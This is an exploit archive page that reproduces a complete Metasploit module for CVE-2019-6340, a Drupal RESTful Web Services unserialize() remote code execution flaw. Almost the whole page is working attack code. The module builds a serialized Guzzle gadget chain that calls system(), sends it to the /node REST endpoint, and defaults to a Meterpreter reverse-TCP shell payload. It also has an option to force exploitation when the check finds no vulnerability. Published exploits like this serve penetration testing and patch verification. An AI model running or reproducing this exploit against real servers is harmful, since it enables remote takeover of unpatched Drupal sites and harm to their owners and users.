Lucene search

K
packetstormWvuPACKETSTORM:151992
HistoryMar 06, 2019 - 12:00 a.m.

Drupal RESTful Web Services unserialize() Remote Code Execution

2019-03-0600:00:00
wvu
packetstormsecurity.com
47

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
# NOTE: All (four) Web Services modules need to be enabled  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HTTP::Drupal  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Drupal RESTful Web Services unserialize() RCE',  
'Description' => %q{  
This module exploits a PHP unserialize() vulnerability in Drupal RESTful  
Web Services by sending a crafted request to the /node REST endpoint.  
  
As per SA-CORE-2019-003, the initial remediation was to disable POST,  
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable  
(albeit cached). Cached nodes can be exploited only once.  
  
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of  
this alternate vector.  
  
Drupal < 8.5.11 and < 8.6.10 are vulnerable.  
},  
'Author' => [  
'Jasper Mattsson', # Discovery  
'Charles Fol', # PoC  
'Rotem Reiss', # Module  
'wvu' # Module  
],  
'References' => [  
['CVE', '2019-6340'],  
['URL', 'https://www.drupal.org/sa-core-2019-003'],  
['URL', 'https://www.drupal.org/psa-2019-02-22'],  
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],  
['URL', 'https://github.com/ambionics/phpggc'],  
['URL', 'https://twitter.com/jcran/status/1099206271901798400']  
],  
'DisclosureDate' => '2019-02-20',  
'License' => MSF_LICENSE,  
'Platform' => ['php', 'unix'],  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
['PHP In-Memory',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_memory,  
'Payload' => {'BadChars' => "'"},  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
],  
['Unix In-Memory',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/generic',  
'CMD' => 'id'  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method  
'AKA' => ['SA-CORE-2019-003']  
}  
))  
  
register_options([  
OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',  
['GET', 'POST', 'PATCH', 'PUT']]),  
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
end  
  
def check  
checkcode = CheckCode::Unknown  
  
version = drupal_version  
  
unless version  
vprint_error('Could not determine Drupal version')  
return checkcode  
end  
  
if version.to_s !~ /^8\b/  
vprint_error("Drupal #{version} is not supported")  
return CheckCode::Safe  
end  
  
vprint_status("Drupal #{version} targeted at #{full_uri}")  
checkcode = CheckCode::Detected  
  
changelog = drupal_changelog(version)  
  
unless changelog  
vprint_error('Could not determine Drupal patch level')  
return checkcode  
end  
  
case drupal_patch(changelog, 'SA-CORE-2019-003')  
when nil  
vprint_warning('CHANGELOG.txt no longer contains patch level')  
when true  
vprint_warning('Drupal appears patched in CHANGELOG.txt')  
checkcode = CheckCode::Safe  
when false  
vprint_good('Drupal appears unpatched in CHANGELOG.txt')  
checkcode = CheckCode::Appears  
end  
  
# Any further with GET and we risk caching the targeted node  
return checkcode if meth == 'GET'  
  
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable  
token = Rex::Text.rand_text_alphanumeric(8..42)  
res = execute_command("echo #{token}")  
  
return checkcode unless res  
  
if res.body.include?(token)  
vprint_good('Drupal is vulnerable to code execution')  
checkcode = CheckCode::Vulnerable  
end  
  
checkcode  
end  
  
def exploit  
if [CheckCode::Safe, CheckCode::Unknown].include?(check)  
if datastore['ForceExploit']  
print_warning('ForceExploit set! Exploiting anyway!')  
else  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
end  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')  
# XXX: Naughty datastore modification  
datastore['DUMP_OUTPUT'] = true  
end  
  
case target['Type']  
when :php_memory  
# XXX: This will spawn a *very* obvious process  
execute_command("php -r '#{payload.encoded}'")  
when :unix_memory  
execute_command(payload.encoded)  
end  
end  
  
def execute_command(cmd, opts = {})  
vprint_status("Executing with system(): #{cmd}")  
  
# https://en.wikipedia.org/wiki/Hypertext_Application_Language  
hal_json = JSON.pretty_generate(  
'link' => [  
'value' => 'link',  
'options' => phpggc_payload(cmd)  
],  
'_links' => {  
'type' => {  
'href' => vhost_uri  
}  
}  
)  
  
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")  
  
res = send_request_cgi({  
'method' => meth,  
'uri' => node_uri,  
'ctype' => 'application/hal+json',  
'vars_get' => {'_format' => 'hal_json'},  
'data' => hal_json  
}, 3.5)  
  
return unless res  
  
case res.code  
# 401 isn't actually a failure when using the POST method  
when 200, 401  
print_line(res.body) if datastore['DUMP_OUTPUT']  
if meth == 'GET'  
print_warning('If you did not get code execution, try a new node ID')  
end  
when 404  
print_error("#{node_uri} not found")  
when 405  
print_error("#{meth} method not allowed")  
when 422  
print_error('VHOST may need to be set')  
when 406  
print_error('Web Services may not be enabled')  
else  
print_error("Unexpected reply: #{res.inspect}")  
end  
  
res  
end  
  
# phpggc Guzzle/RCE1 system id  
def phpggc_payload(cmd)  
(  
# http://www.phpinternalsbook.com/classes_objects/serialization.html  
<<~EOF  
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{  
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{  
s:5:"close";a:2:{  
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{  
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";  
s:cmd_len:"cmd";  
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";  
a:1:{i:0;a:1:{i:0;s:6:"system";}}  
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";  
b:0;  
}  
i:1;s:7:"resolve";  
}  
}  
s:9:"_fn_close";a:2:{  
i:0;r:4;  
i:1;s:7:"resolve";  
}  
}  
EOF  
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)  
end  
  
def meth  
datastore['METHOD'] || 'POST'  
end  
  
def node  
datastore['NODE'] || 1  
end  
  
def node_uri  
if meth == 'GET'  
normalize_uri(target_uri.path, '/node', node)  
else  
normalize_uri(target_uri.path, '/node')  
end  
end  
  
def vhost_uri  
full_uri(  
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),  
vhost_uri: true  
)  
end  
  
end  
`